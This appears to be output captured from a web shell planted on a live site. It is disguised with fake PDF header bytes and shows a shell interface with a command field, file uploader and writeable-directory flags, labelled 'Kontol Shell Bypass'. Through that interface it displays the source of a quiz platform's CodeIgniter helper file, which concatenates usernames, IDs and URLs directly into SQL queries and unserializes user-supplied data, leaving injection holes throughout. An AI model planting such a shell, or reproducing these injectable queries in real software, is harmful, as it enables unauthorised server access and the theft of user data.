%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/chalkbank.com/application/helpers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/chalkbank.com/application/helpers/site_helper.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

if ( ! function_exists('validateusercount')) 
{
 	function validateusercount($userName, $userToken)
	{
		if (isset($userName)) {
			
			/*$ci=& get_instance();
			$ci->load->database();
			$userName = str_replace('"','&#34;',$userName);
			$userName= str_replace("`",'&#39;',$userName);
			$userName= str_replace("‘",'&#39;',$userName);
			$userName= str_replace("’",'&#39;',$userName);
			$userName= str_replace("“",'&#34;',$userName);
			$userName= str_replace("‘",'&#39;',$userName);
			$userName= str_replace("’",'&#39;',$userName);
			$userName= str_replace("”",'&#34;',$userName);
			$userName= str_replace("'","&#39;",$userName);
			$userName= str_replace("\n","<br>",$userName);
			$ci->db->select('token');
			$ci->db->where('username',$userName);
			$ci->db->order_by('id','desc');
			$query=$ci->db->get('user_token');
			$row=$query->row_array();
			$token = $row['token']; */
			/*if($userToken != $token){
				session_destroy();
				redirect('login');
				duplicatelogoutTime($userName);
			   }
			*/
		 }
	}
}

	/*
	* Function : assignModuleList
	*/
	function assignModuleList($role_ids)
	{
		$result = '';
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		$respArray = array();
		if($role_ids!=''){
			$column = 'mid,module_slug,module_name';
			$sqlQ = "select $column from savsoft_module where mid IN (".$role_ids.") AND status='1' order by mid DESC"; 
			$querys = $db2->query($sqlQ);
			$result = $querys->result();
			foreach($result as $val) {
				$respArray[$val->module_slug] = $val->module_name;
			}
		}
		// token Validation
		$ci->load->library('session');
		$logged_in=$ci->session->userdata('logged_in');
		if($logged_in['su']=='0'){
			validateToken();
		}
		
		return $respArray;
	}
	/*
	* Function : validateToken
	*/
	function validateToken()
	{
		$result = ''; 
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		$respArray = array();
		$ci->load->library('session');
		$logged_in=$ci->session->userdata('username');
		if($logged_in!=''){
			$column = 'id,username,token';
			$sqlQ = "select $column from user_token where username ='".$logged_in."'"; 
			$querys = $db2->query($sqlQ);
			$result = $querys->result();
			$token = $result[0]->token;
			if($ci->session->userdata('token') != $token){
				$client_ip = get_client_ip();
				$activity = "Duplicate user login with $client_ip. Go to page logout.";
				setHistory($activity);
				$ci->session->sess_destroy();
				$ci->session->unset_userdata('logged_in');	
				$ci->session->unset_userdata('logo_image');	
				$ci->session->unset_userdata('page_key');	
				session_destroy();
				redirect('login?key='.$page_key); 
			}
		}
	}
	/*
	* Function : get_client_ip
	*/
	function get_client_ip() {
		$ipaddress = '';
		if (getenv('HTTP_CLIENT_IP'))
			$ipaddress = getenv('HTTP_CLIENT_IP');
		else if(getenv('HTTP_X_FORWARDED_FOR'))
			$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
		else if(getenv('HTTP_X_FORWARDED'))
			$ipaddress = getenv('HTTP_X_FORWARDED');
		else if(getenv('HTTP_FORWARDED_FOR'))
			$ipaddress = getenv('HTTP_FORWARDED_FOR');
		else if(getenv('HTTP_FORWARDED'))
		   $ipaddress = getenv('HTTP_FORWARDED');
		else if(getenv('REMOTE_ADDR'))
			$ipaddress = getenv('REMOTE_ADDR');
		else
			$ipaddress = 'UNKNOWN';
		return $ipaddress;
	}

	/*
	* Function : getActivePageDetails
	*/
	function getActivePageDetails($site_url)
	{
		$result = '';
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		if($site_url!=''){
			$column = 'id,template_id,page_title,page_url,logo_image,page_key, banner_title,outer_logo_image, user_group,admin_id';
			$sqlQ = "select $column from su_microsite where page_url = '".$site_url."' AND status='1' order by id DESC"; 
			$querys = $db2->query($sqlQ);
			$rows = $querys->result();
			$result = $rows[0];
		}
		return $result;
	}

	/*
	* Function :  getQuizDetails
	*/
	function getQuizDetails() 
	{
		$result = '';
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		$sqlQ = "select * from savsoft_quiz where quiz_type = '0' AND end_date> '".time()."' order by quid desc";   
		$querys = $db2->query($sqlQ);
		$result = $querys->result_array();
		return $result;
	}
	
	/*
	* Function :  getrcqiddetails
	*/
	function getrcqiddetails($rcq_id)
	{
		$result = '';
		$question = '';
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		if($rcq_id>0){
			$column = 'question';
			$sqlQ = "select $column from savsoft_rcqbank where qid = '".$rcq_id."'"; 
			$querys = $db2->query($sqlQ);
			$result = $querys->result();
			$question = $result[0]->question;
		}
		return $question;
		
	}
	/*
	* Function :  getAllMicrositesPage
	*/
	function getAllMicrositesPage($microsite_id)
	{
		$result = '';
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		if($microsite_id>0){
			$column = 'id,microsite_id, display_name, page_url,display_order';
			$sqlQ = "select $column from microsite_pages where microsite_id = '".$microsite_id."' AND status='1' order by display_order ASC"; 
			$querys = $db2->query($sqlQ);
			$result = $querys->result();
		}
		return $result;
		
	}
	
	/*
	* Function :  getNotification
	*/
	function getNotification($loginUser, $visible = '0')
	{
		$result = '';
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		$gid = $loginUser['gid'];
		$su = $loginUser['su'];
		$where_and = '';
		if($su==0){
			//$where_and = ' AND admin_id = "'.$loginUser['admin_id'].'"'; 
		} else if($su==1){
			$where_and = ' AND admin_id = "'.$loginUser['uid'].'"'; 
		}
		$between = '';
		if($visible=='0') {
		$nextDate = date("Y-m-d", strtotime("-3 day"));
		$between = " AND (DATE(createdon) BETWEEN '".$nextDate."' AND '".date('Y-m-d')."')";
        }
		if($gid>0){
			$column = 'id, title, description, createdon';
			$sqlQ = "select $column from tbl_notifications_master where status='2' $where_and AND (gid = 'All' OR gid = '".$gid."') $between order by id desc";
			$querys = $db2->query($sqlQ);
			$result = $querys->result();
		}
		return $result;
		
	}
	
	/*
	* Function :  getAllMicrositesPageDetails
	*/
	function getAllMicrositesPageDetails($page_url)
	{
		$result = '';
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		if($page_url>0){
			$column = 'id,microsite_id, title, page_url,description';
			echo $sqlQ = "select $column from microsite_pages where page_url = '".$page_url."' AND status='1' order by display_order ASC"; 
			$querys = $db2->query($sqlQ);
			$result = $querys->result();
		}
		return $result[0];
		
	}
	
/*
* Function : duplicatelogoutTime
*/

if ( ! function_exists('duplicatelogoutTime'))
{
 	function duplicatelogoutTime($userName)
	{
		$ci=& get_instance();
		$ci->load->database();
		$sqlQ = "select id from user_token where username = '".$userName."' order by id DESC"; 
		$querys = $ci->db->query($sqlQ);
		$rows = $querys->result();
		$row = $rows[0];
		$id = $row->id;	
		$userName = str_replace('"','&#34;',$userName);
		$userName= str_replace("`",'&#39;',$userName);
		$userName= str_replace("‘",'&#39;',$userName);
		$userName= str_replace("’",'&#39;',$userName);
		$userName= str_replace("“",'&#34;',$userName);
		$userName= str_replace("‘",'&#39;',$userName);
		$userName= str_replace("’",'&#39;',$userName);
		$userName= str_replace("”",'&#34;',$userName);
		$userName= str_replace("'","&#39;",$userName);
		$userName= str_replace("\n","<br>",$userName);			
		if($id>0) {
			$sql = "UPDATE user_token SET duplicatelogintime = '".date('Y-m-d H:i:s')."' where username = '".$userName."' AND id=$id"; 
			$query = $ci->db->query($sql);
		}
		return true;
	}
}

/*
* Function : logoutTime
*/

if ( ! function_exists('logoutTime'))
{
 	function logoutTime($userName)
	{
		$ci=& get_instance();
		$ci->load->database();
		$sqlQ = "select id from user_token where username = '".$userName."' order by id DESC"; 
		$querys = $ci->db->query($sqlQ);
		$rows = $querys->result();
		$row = $rows[0];
		$id = $row->id;	
		$userName = str_replace('"','&#34;',$userName);
		$userName= str_replace("`",'&#39;',$userName);
		$userName= str_replace("‘",'&#39;',$userName);
		$userName= str_replace("’",'&#39;',$userName);
		$userName= str_replace("“",'&#34;',$userName);
		$userName= str_replace("‘",'&#39;',$userName);
		$userName= str_replace("’",'&#39;',$userName);
		$userName= str_replace("”",'&#34;',$userName);
		$userName= str_replace("'","&#39;",$userName);
		$userName= str_replace("\n","<br>",$userName);
		
		if($id>0) {
			$sql = "UPDATE user_token SET lastlogouttime = '".date('Y-m-d H:i:s')."' where username = '".$userName."' AND id=$id"; 
			$query = $ci->db->query($sql);
		}
		return true;
	}
}

/*
* Function : activeUserLogTime
*/

if ( ! function_exists('activeUserLogTime'))
{
 	function activeUserLogTime($sessionId, $username, $admin_id)
	{
		$ci=& get_instance();
		$ci->load->database();
		$ip = get_client_ip();
		$tm = date("Y-m-d H:i:s");
		$sql = "Insert into plus_login (id,userid,admin_id,ip,tm) values('$sessionId','$username','$admin_id','$ip','$tm')"; 
		$query = $ci->db->query($sql);
		return true;
	}
}

/*
* Function : getUserDetails
*/
if ( ! function_exists('getUserDetails'))
{
 	function getUserDetails($userId)
	{
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		if(isset($userId)){
			$plsql = "SELECT first_name,email from savsoft_users where uid='$userId'"; 
			$query = $db2->query($plsql);
			$row=$query->row_array();
			return strip_tags($row['first_name']);
		}
	}
}

/*
* Function : getRCAnswer
*/
if ( ! function_exists('getRCAnswer'))
{
 	function getRCAnswer($rcQid)
	{
		$ci=& get_instance();
		$ci->load->database();
		$db2 = $ci->load->database('readerdb', TRUE);
		if(isset($rcQid)){
			$plsql = "SELECT question from savsoft_rcqbank where qid='$rcQid'"; 
			$query = $db2->query($plsql);
			$row=$query->row_array();
			return strip_tags($row['question']);
		}
	}
}

/*
* Function : activeUserLogUpdateTime
*/
if ( ! function_exists('activeUserLogUpdateTime'))
{
 	function activeUserLogUpdateTime($sessionId)
	{
		$ci=& get_instance();
		$ci->load->database();
		
		if(isset($sessionId)){
			$tm=date("Y-m-d H:i:s");
			$url = 'https://'. $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
			//$plsql = "update plus_login set status='ON',tm='$tm',page_url='$url' where id='$sessionId'"; 
			//$plquery = $ci->db->query($plsql); 
		}
		
		$gap=10; // change this to change the time in minutes, This is the time for which active users are collected. 
		$tm=date ("Y-m-d H:i:s", mktime (date("H"),date("i")-$gap,date("s"),date("m"),date("d"),date("Y")));
		//// Let us update the table and set the status to OFF 
		////for the users who have not interacted with 
		////pages in last 10 minutes ( set by $gap variable above ) ///
		//$sql = "UPDATE plus_login SET status='OFF' WHERE tm < '$tm'"; 
		//$query = $ci->db->query($sql);
		return true;
	}
}


/*
* Function : offUserLogStatus
*/
if ( ! function_exists('offUserLogStatus'))
{
 	function offUserLogStatus($sessionId)
	{
		$ci=& get_instance();
		$ci->load->database();
		$gap=10; // change this to change the time in minutes, This is the time for which active users are collected. 
		$tm=date ("Y-m-d H:i:s", mktime (date("H"),date("i")-$gap,date("s"),date("m"),date("d"),date("Y")));
		//// Let us update the table and set the status to OFF 
		////for the users who have not interacted with 
		////pages in last 10 minutes ( set by $gap variable above ) ///
		//$sql = "update plus_login set status='OFF' where id='$sessionId'"; 
		//$query = $ci->db->query($sql);
	}
}

/*
* Function : resizeImage
*
*/
function resizeImage($filename, $width=250, $height=250, $path='attachments/testimonial_images')
	{
	$source_path = $_SERVER['DOCUMENT_ROOT'] . '/'. $path.'/'. $filename;
	$target_path = $_SERVER['DOCUMENT_ROOT'] . '/'.$path.'/thumbnail/';
	$config_manip = array(
          'image_library' => 'gd2',
          'source_image' => $source_path,
          'new_image' => $target_path,
          'maintain_ratio' => TRUE,
          'create_thumb' => TRUE,
          'thumb_marker' => '',
          'width' => $width,
          'height' => $height

    );
	
	$CI =& get_instance();
  	$CI->load->library('image_lib', $config_manip);
	if (!$CI->image_lib->resize()) {
        echo $CI->image_lib->display_errors(); die;
     }
		$CI->image_lib->clear();

 }



function remove_html_tags($string)
{
  return  preg_replace('/[^a-zA-Z0-9\s]/', '', strip_tags(html_entity_decode($string)));
} 

function except_letters($string)
{
   // $onlyLetters = mb_ereg_replace('[^\\p{L}\s]', '', $string);
    $onlyLetters = preg_replace('/([\s])\1+/', ' ', $onlyLetters);
    $onlyLetters = preg_replace('/\s/', '_', trim($onlyLetters));
    return $onlyLetters;
}

function allletters_lowercase($string)
{
	$only_lowercase = strtolower($string);
	return replaceblankspace($only_lowercase);
}


function firstletterCapital($string)
{
	$ucwords = ucwords(strtolower($string));
	return $ucwords;
}


function striphtmltags($string)
{
	$removeallhtmlchar = strip_tags($string);
	return $removeallhtmlchar;
}


function replaceblankspace($string)
{
	$only_replaceblankspace = str_replace(" ","-",$string);
	return $only_replaceblankspace;
}

function setcharlimit($string, $limit=15, $start=0)
{
	$return_string = '';
	$return_string .= substr(html_entity_decode($string),$start,$limit);
	if(strlen($string)>$limit) {
		$return_string .= '...';
	}
	return $return_string;
}

/*
* Function : Get Default Image Name
*/

function getDefaultImage($string)
{
	$response = '';
	$stringArray = explode(" ",$string);
	if(count($stringArray)>=2)
	{
		$response = substr($stringArray[0],0,1).''.substr($stringArray[1],0,1);
	} else {
		$response = substr($string,0,2);
	}
	
	return '<span class="frist-letter">'.strtoupper($response).'</span>';
}

function splitArrayAlphabetOrder($records)
{
	
    $temp=array();    
    $first_char="";
    for($i=0;$i<count($records);$i++)
    {
        $first_char= strtoupper ($records[$i][0]);             
             if(!in_array($first_char, $temp))
             {
                 echo strtoupper($first_char).'<br>'; //print A / B / C etc                      

             }
             $temp[]=  $first_char;
            echo $records[$i]."<br>";
    }


}

	function valid_seo_friendly_url($string){
			$string = str_replace(array('[\', \']',"’",":",";","|","%","@","$","^","*","(",")","?","&","<",">",",",".","/","--","+"), '', $string);
			$string = preg_replace('/\[.*\]/U', '', $string);
			$string = htmlentities($string, ENT_COMPAT, 'utf-8');
			$string = strtolower(str_replace(" ","-",$string));
			return cleanString(trim($string, '-'));
	}
	
	function seo_friendly_url($string){
			$string = str_replace(array('[\', \']',"’",":"), '', $string);
			$string = preg_replace('/\[.*\]/U', '', $string);
			$string = htmlentities($string, ENT_COMPAT, 'utf-8');
			return cleanString(trim($string, '-'));
	}
	
	function seo_friendly_url_desc($string){
			$string = str_replace(array('[\', \']',"’"), '', $string);
			$string = preg_replace('/\[.*\]/U', '', $string);
			$string = htmlentities($string, ENT_COMPAT, 'utf-8');
			return cleanString(trim($string, '-'));
	}	
	
	function cleanString($text) {
		$utf8 = array(
			'/[áàâãªä]/u'   =>   'a',
			'/[ÁÀÂÃÄ]/u'    =>   'A',
			'/[ÍÌÎÏ]/u'     =>   'I',
			'/[íìîï]/u'     =>   'i',
			'/[éèêë]/u'     =>   'e',
			'/[ÉÈÊË]/u'     =>   'E',
			'/[óòôõºö]/u'   =>   'o',
			'/[ÓÒÔÕÖ]/u'    =>   'O',
			'/[úùûü]/u'     =>   'u',
			'/[ÚÙÛÜ]/u'     =>   'U',
			'/ç/'           =>   'c',
			'/Ç/'           =>   'C',
			'/ñ/'           =>   'n',
			'/ñ/'           =>   'n',
			'/amp;/'        =>   '',
			'/–/'           =>   '-', // UTF-8 hyphen to "normal" hyphen
			'/[’‘‹›‚]/u'    =>   ' ', // Literally a single quote
			'/[“”«»„]/u'    =>   ' ', // Double quote
			'/ /'           =>   ' ', // nonbreaking space (equiv. to 0x160)
		);
		return preg_replace(array_keys($utf8), array_values($utf8), $text);
	}
/*
* Function :  setUserWarning
*/
function setUserWarning($activity, $quiz_id='0', $warning_cont='0', $attempt_id='0')
{
	$ci=& get_instance();
	$ci->load->database();
	$logged_in = $ci->session->userdata('logged_in');
	$user = $logged_in['uid'];
	$client_ip = get_client_ip();
	if (!$ci->db->insert('tbl_user_warning', array(
				'activity' => $activity,
				'quiz_id' => $quiz_id,
				'username' => $user,
				'attempt_id' => $attempt_id,
				'warning_cont' => $warning_cont,
				'createdon' => date('Y-m-d H:i:s'),
				'ip_address' => $client_ip,
				'device_name' => isMobileDevice(),
				'browser_name' => ExactBrowserName(),
				'time' => time())
			)) {
		log_message('error', print_r($ci->db->error(), true));
		show_error(lang('database_error'));
	}
}
/*
* Function :  setHistory
*/
function setHistory($activity)
{
	$ci=& get_instance();
	$ci->load->database();
	$logged_in = $ci->session->userdata('logged_in');
	$user = $logged_in['uid'];
	$client_ip = get_client_ip();
	if (!$ci->db->insert('history', array(
				'activity' => $activity,
				'username' => $user,
				'createdon' => date('Y-m-d H:i:s'),
				'ip_address' => $client_ip,
				'device_name' => isMobileDevice(),
				'browser_name' => ExactBrowserName(),
				'time' => time())
			)) {
		log_message('error', print_r($ci->db->error(), true));
		show_error(lang('database_error'));
	}
}	
	/*
	* Function :  isMobileDevice
	*/
	function isMobileDevice(){
        $useragent=$_SERVER['HTTP_USER_AGENT'];
        if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i',substr($useragent,0,4)))
        { 
			$aMobileUA = array(
			'/iphone/i' => 'iPhone', 
			'/ipod/i' => 'iPod', 
			'/ipad/i' => 'iPad', 
			'/android/i' => 'Android', 
			'/blackberry/i' => 'BlackBerry', 
			'/webos/i' => 'Mobile'
			);

			//Return true if Mobile User Agent is detected
			foreach($aMobileUA as $sMobileKey => $sMobileOS){
			if(preg_match($sMobileKey, $_SERVER['HTTP_USER_AGENT'])){
			   $device =  $sMobileOS;
			 } else{
				$device =  'Mobile'; 
			 }
			}
        } else {
           $device = "Desktop";
        }
		//Otherwise return false..  
		return $device;
	}
	
	/*
	* Function :  ExactBrowserName
	*/
	function ExactBrowserName()
	{

	$ExactBrowserNameUA=$_SERVER['HTTP_USER_AGENT'];

	if (strpos(strtolower($ExactBrowserNameUA), "safari/") and strpos(strtolower($ExactBrowserNameUA), "opr/")) {
		// OPERA
		$ExactBrowserNameBR="Opera";
	} elseIf (strpos(strtolower($ExactBrowserNameUA), "safari/") and strpos(strtolower($ExactBrowserNameUA), "chrome/")) {
		// CHROME
		$ExactBrowserNameBR="Chrome";
	} elseIf (strpos(strtolower($ExactBrowserNameUA), "msie")) {
		// INTERNET EXPLORER
		$ExactBrowserNameBR="Internet Explorer";
	} elseIf (strpos(strtolower($ExactBrowserNameUA), "firefox/")) {
		// FIREFOX
		$ExactBrowserNameBR="Firefox";
	} elseIf (strpos(strtolower($ExactBrowserNameUA), "safari/") and strpos(strtolower($ExactBrowserNameUA), "opr/")==false and strpos(strtolower($ExactBrowserNameUA), "chrome/")==false) {
		// SAFARI
		$ExactBrowserNameBR="Safari";
	} else {
		// OUT OF DATA
		$ExactBrowserNameBR="OUT OF DATA";
	};

	return $ExactBrowserNameBR;
	}
  
/*
* Function :  generatePracticeQuizkey
*/
function generatePracticeQuizkey($quizDetails)
{
	$key = array('quid'=>$quizDetails['quid'],'gids'=>$quizDetails['gids'],'admin_id'=>$quizDetails['admin_id']);
	return base64_encode(serialize($key));
}

/*
* Function :  generateQuizkey
*/
function generateQuizkey($tkey,$gids)
{
	$key = unserialize(base64_decode($tkey));
	unset($key['admin_id']);
	$key['gids'] = $gids;
	return base64_encode(serialize($key));
}
	/*
	* Function :  get_tiny_url
	*/
	function get_tiny_url($url)  {  
		$ch = curl_init();  
		$timeout = 5;  
		curl_setopt($ch,CURLOPT_URL,'http://tinyurl.com/api-create.php?url='.$url);  
		curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);  
		curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);  
		$data = curl_exec($ch);  
		curl_close($ch);  
		return $data;  
	}
	/*
	* Function :  getIPlocation
	*/
	function getIPlocation($IPAddress = '14.139.238.62'){
		$ip = $IPAddress; 

		// Use JSON encoded string and converts 
		// it into a PHP variable 
		$ipdat = @json_decode(file_get_contents( 
		"http://www.geoplugin.net/json.gp?ip=" . $ip)); 
		echo 'Country Name: ' . $ipdat->geoplugin_countryName . "<br/>"; 
		echo 'City Name: ' . $ipdat->geoplugin_city; 
		//echo 'Continent Name: ' . $ipdat->geoplugin_continentName . "\n"; 
		//echo 'Latitude: ' . $ipdat->geoplugin_latitude . "\n"; 
		//echo 'Longitude: ' . $ipdat->geoplugin_longitude . "\n"; 
		//echo 'Currency Symbol: ' . $ipdat->geoplugin_currencySymbol . "\n"; 
		//echo 'Currency Code: ' . $ipdat->geoplugin_currencyCode . "\n"; 
		//echo 'Timezone: ' . $ipdat->geoplugin_timezone; 
	}
	/*
	* Get Domain Name
	*/
	function getDomain()
	{   
		$CI =& get_instance();
		return preg_replace("/^[\w]{2,6}:\/\/([\w\d\.\-]+).*$/","$1", $CI->config->slash_item('base_url'));
	}
	
/*
* Get Domain Name
*/
function shuffle_assoc($list) {  
  if (!is_array($list)) return $list; 

  $keys = array_keys($list); 
  shuffle($keys); 
  $random = array(); 
  $k=0;
  foreach ($keys as $key) { 
    $random[$key] = $list[$key]; 
	$k++;
  }
  return $random; 
}	

Kontol Shell Bypass